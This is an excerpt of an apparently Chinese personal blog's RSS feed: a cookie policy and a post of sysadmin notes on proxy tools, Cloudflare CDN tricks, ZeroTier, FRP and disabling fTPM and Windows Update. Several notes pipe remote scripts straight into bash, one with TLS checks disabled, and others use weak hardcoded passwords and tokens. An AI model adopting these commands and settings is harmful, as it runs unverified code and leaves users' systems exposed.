&lt;li&gt;NAS迅雷内测码：迅雷牛通&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>隐私政策</title><link>https://2x.nz/posts/privacy-policy/</link><guid isPermaLink="true">https://2x.nz/posts/privacy-policy/</guid><description>本隐私政策适用于AcoFork Blog（以下简称“我们”）。</description><pubDate>Thu, 31 Dec 1998 19:20:15 GMT</pubDate><content:encoded>&lt;h1&gt;All Cookies&lt;/h1&gt;
&lt;h3&gt;Strictly necessary cookies（必要的cookies）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cloudflare.com/analytics/&quot;&gt;Cloudflare Analytics&lt;/a&gt;：收集站点的基本访问情况&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://umami.acofork.com&quot;&gt;Umami&lt;/a&gt;：收集站点的基本访问情况，并对外显示浏览量&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://giscus.app&quot;&gt;Giscus&lt;/a&gt;：提供评论功能&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Functionality cookies（功能性cookies）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;无&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tracking cookies（追蹤cookies）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tongji.baidu.com/&quot;&gt;百度统计&lt;/a&gt;：收集站点的基本访问情况&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://analytics.google.com&quot;&gt;Google Analytics&lt;/a&gt;：收集站点访问情况&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://clarity.microsoft.com&quot;&gt;Microsoft Clarity&lt;/a&gt;：收集站点访问情况&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Targeting and advertising cookies（定位和廣告cookies）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://adsense.google.com/&quot;&gt;Google Adsense&lt;/a&gt;：提供广告服务&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;latest update: 2026/02/04&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录</title><link>https://2x.nz/posts/record/</link><guid isPermaLink="true">https://2x.nz/posts/record/</guid><description>一些记录，不定时更新</description><pubDate>Thu, 31 Dec 1998 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;zt重置设备ID&lt;/h1&gt;
&lt;p&gt;在 ZeroTier 中，如果你通过克隆 VM 或复制系统镜像导致 设备 ID（Node ID）重复，需要重置设备 ID。ZeroTier 的设备 ID 是基于本机生成的私钥，无法在软件内直接修改，但可以通过以下方法重置：&lt;/p&gt;
&lt;p&gt;方法 1：在 Linux / Debian 上重置&lt;/p&gt;
&lt;p&gt;停止 ZeroTier 服务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl stop zerotier-one
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;删除本地身份文件（Node ID）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo rm -rf /var/lib/zerotier-one/identity.*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意：identity.* 文件包含你的 Node ID，如果删除，ZeroTier 会生成新的 Node ID。&lt;/p&gt;
&lt;p&gt;启动 ZeroTier 服务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl start zerotier-one
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;r2.py所需依赖&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;pip install keyboard pyperclip pillow boto3 pyautogui
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ShellClash&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;用于在Linux上使用CLI来进行正向代理。通过导入标准的Clash &lt;code&gt;config.yaml&lt;/code&gt; 来实现&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;https://github.com/juewuy/ShellCrash&lt;/p&gt;
&lt;p&gt;Tg通知频道：https://t.me/ShellClash&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash -c &quot;$(curl -kfsSl https://r2.072103.xyz/shellclash.sh)&quot; &amp;amp;&amp;amp; source /etc/profile &amp;amp;&amp;gt; /dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开CLI：clash、crash
导入配置文件：6-2
安装本地Web面板：9-4-1
开机自启：4-1&lt;/p&gt;
&lt;h1&gt;Vless通用配置（不加密）&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;inbounds&quot;: [
    {
      &quot;port&quot;: 1080,  // 监听端口，可以根据需要修改
      &quot;protocol&quot;: &quot;vless&quot;,  // 使用 VLESS 协议
      &quot;settings&quot;: {
        &quot;clients&quot;: [
          {
            &quot;id&quot;: &quot;0721-07210721onani&quot;,  // 这里是一个 UUID，用于识别用户
            &quot;level&quot;: 0,  // 用户等级，设置为 0 表示普通用户
            &quot;email&quot;: &quot;user@example.com&quot;  // 用户邮箱（可选）
          }
        ],
        &quot;decryption&quot;: &quot;none&quot;  // 设置为 none，表示没有加密
      },
      &quot;streamSettings&quot;: {
        &quot;network&quot;: &quot;tcp&quot;,  // 使用 TCP 网络
        &quot;security&quot;: &quot;none&quot;  // 不使用加密，适用于 VLESS
      }
    }
  ],
  &quot;outbounds&quot;: [
    {
      &quot;protocol&quot;: &quot;freedom&quot;,  // 允许自由流量通过
      &quot;settings&quot;: {}
    }
  ],
  &quot;routing&quot;: {
    &quot;rules&quot;: []
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;AMD笔记本优化&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;目标：关闭fTPM并且禁止系统重新安装、关闭Windows自动更新&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;关闭fTPM： 组策略编辑器：&lt;code&gt;计算机配置 - 管理模板 - 系统 - 设备安装 - 设备安装限制 - 阻止安装与下列任何设备实例 ID 相匹配的设备&lt;/code&gt; 填写：设备管理器中的&lt;strong&gt;受信任的平台模块 2.0&lt;/strong&gt; 的&lt;code&gt;详细信息 - 设备实例路径&lt;/code&gt;中的值&lt;/li&gt;
&lt;li&gt;关闭Windows自动更新：&lt;code&gt;计算机配置 - 管理模板 - Windows组件 - Windows更新&lt;/code&gt;中的：
&lt;ul&gt;
&lt;li&gt;配置自动更新 - 已禁用&lt;/li&gt;
&lt;li&gt;删除所有使用Windows更新功能的访问权限 - 已启用&lt;/li&gt;
&lt;li&gt;不要连接任何Windows更新Internet位置 - 已启用&lt;/li&gt;
&lt;li&gt;Windows更新不包括驱动更新 - 已启用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;VPS融合怪测试脚本&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -sL kejilion.sh)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;融合怪测试：8-32&lt;/li&gt;
&lt;li&gt;IP纯净度测试：8-4&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;哪吒探针Cloudflare版&lt;/h1&gt;
&lt;p&gt;https://github.com/yumusb/nezha-new&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;VPS一键魔法脚本&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Hysteria2（UDP）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -fsSL https://raw.githubusercontent.com/0x0129/hysteria2/main/install.sh) -port 0721
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vless+Trojan+Shadowsocks：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -s -L https://git.io/v2ray.sh)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;x-ui：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;Hysteria2 服务端搭建（全平台通用）&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;下载 Hysteria2 可执行文件： https://github.com/apernet/hysteria/releases&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建自签名SSL/TLS证书：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;创建私钥：&lt;code&gt;openssl genpkey -algorithm RSA -out hy2.key&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;创建证书签名请求：&lt;code&gt;openssl req -new -key hy2.key -out hy2.csr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;创建证书：&lt;code&gt;openssl x509 -req -in hy2.csr -signkey hy2.key -out hy2.crt -days 9999&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;config.yaml&lt;/code&gt;：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;listen: :443 

tls:
  cert: hy2.crt 
  key: hy2.key 

auth:
  type: password
  password: 0721

masquerade: 
  type: proxy
  proxy:
    url: https://news.ycombinator.com/ 
    rewriteHost: true
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;启动 Hysteria2参数：&lt;code&gt;server&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;V2Ray客户端连接直链：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hysteria2://0721@10.147.17.1:443?sni=bing.com&amp;amp;insecure=1#家里云
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h1&gt;Cloudflare一键魔法&lt;/h1&gt;
&lt;p&gt;下载 https://github.com/cmliu/edgetunnel/archive/refs/heads/main.zip 将它上传到Cloudflare Pages设置UUID。访问 https://你的域名.pages.dev/UUID&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Cloudflare 优选方法&lt;/h1&gt;
&lt;h3&gt;A、AAAA、CNAME&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;B域名直接套CDN指向源站&lt;/li&gt;
&lt;li&gt;B域名开启SaaS，设置回退源为指向源站的域名，自定义主机名为A域名&lt;/li&gt;
&lt;li&gt;B域名指向优选域名，不套CDN&lt;/li&gt;
&lt;li&gt;A域名指向B域名指向的优选域名的域名 ，不套CDN&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Cloudflare Pages&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;直接在Pages创建自定义域&lt;/li&gt;
&lt;li&gt;更改子域NS到阿里云云解析DNS&lt;/li&gt;
&lt;li&gt;在阿里云云解析DNS设置解析分流&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Cloudflare Workers&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;直接在Workers创建路由，如：example.com/*&lt;/li&gt;
&lt;li&gt;将被设置路由的域名解析到优选域名&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Cloudflare 优选域名&lt;/h2&gt;
&lt;p&gt;二叉树树自用： fenliu.072103.xyz&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/0cfff651-0590-4700-81f4-79c9e576c38d.BL6QjAfH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.cmliussss.com/&quot;&gt;CM大佬&lt;/a&gt;： cf.090227.xyz&lt;img src=&quot;https://2x.nz/_astro/8f2ac2b4-b5b7-4d9e-8d80-103181e975a9.COvyBqf0.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.wetest.vip/page/cloudflare/cname.html&quot;&gt;微测网&lt;/a&gt;：cloudflare.182682.xyz&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/1b8b0adb-f3bc-4513-814e-4f20529a86cf.Lhl59Xzb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;魔法软件&lt;/h1&gt;
&lt;p&gt;Windows：&lt;/p&gt;
&lt;p&gt;https://github.com/2dust/v2rayN&lt;/p&gt;
&lt;p&gt;Linux：&lt;/p&gt;
&lt;p&gt;https://github.com/2dust/v2rayNG&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;使用Cloudflared中继RDP流量&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;cloudflared access rdp --hostname rdp.onani.cn --url rdp://localhost:3380
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;FRP相关&lt;/h1&gt;
&lt;h3&gt;FRP基本认证参数&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;auth.token = &quot;07210721&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;FRP systemd服务配置（开机自启）&lt;/h3&gt;
&lt;p&gt;https://gofrp.org/zh-cn/docs/setup/systemd/&lt;/p&gt;
&lt;h1&gt;Linux Deb系安装Speedtest-cli&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;apt install -y lsb-release ca-certificates apt-transport-https curl gnupg dpkg
curl -sSL https://packagecloud.io/ookla/speedtest-cli/gpgkey | gpg --dearmor &amp;gt; /usr/share/keyrings/speedtest.gpg
echo &quot;deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/speedtest.gpg] https://packagecloud.io/ookla/speedtest-cli/debian/ $(lsb_release -sc) main&quot; &amp;gt; /etc/apt/sources.list.d/speedtest.list

apt update
apt install -y speedtest
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Linux监控面版：&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;apt install s-tui
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Windows超级牛逼包管理器：https://scoop.sh&lt;/h1&gt;
&lt;hr /&gt;
&lt;h1&gt;Linux各发行版安装注意&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;非常新的版本一般才会有Realtek有线网卡的驱动&lt;/li&gt;
&lt;li&gt;安装Debian要使用CLI安装（GUI安装会出现问题 &lt;s&gt;具体的问题我忘了&lt;/s&gt;）&lt;/li&gt;
&lt;li&gt;安装CentOS/Rocky一定要先安装GUI，否则会导致上不了网&lt;/li&gt;
&lt;li&gt;除了Arch连接网络使用iwd，其他发行版都可以用nmcli连接网络&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h1&gt;国内Linux镜像注意事项&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;s&gt;USTC（中科大源）经常会用JavaScript进行客户端验证，会导致wget和curl命令无法正确下载到文件&lt;/s&gt;&lt;a href=&quot;/posts/bypass-ustc-verifying/&quot;&gt;绕过USTC的浏览器JS验证 | AcoFork Blog&lt;/a&gt;。建议使用TUNA（清华源）&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h1&gt;国内Docker镜像&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;1Panel Docker监控：https://status.1panel.top/status/docker&lt;/li&gt;
&lt;li&gt;南京大学GHCR镜像源：https://ghcr.nju.edu.cn&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;安徽财贸职业学院教务学生正确入口（课表导入）&lt;/h1&gt;
&lt;p&gt;https://authserver.afc.edu.cn/authserver/login&lt;/p&gt;
</content:encoded></item></channel></rss>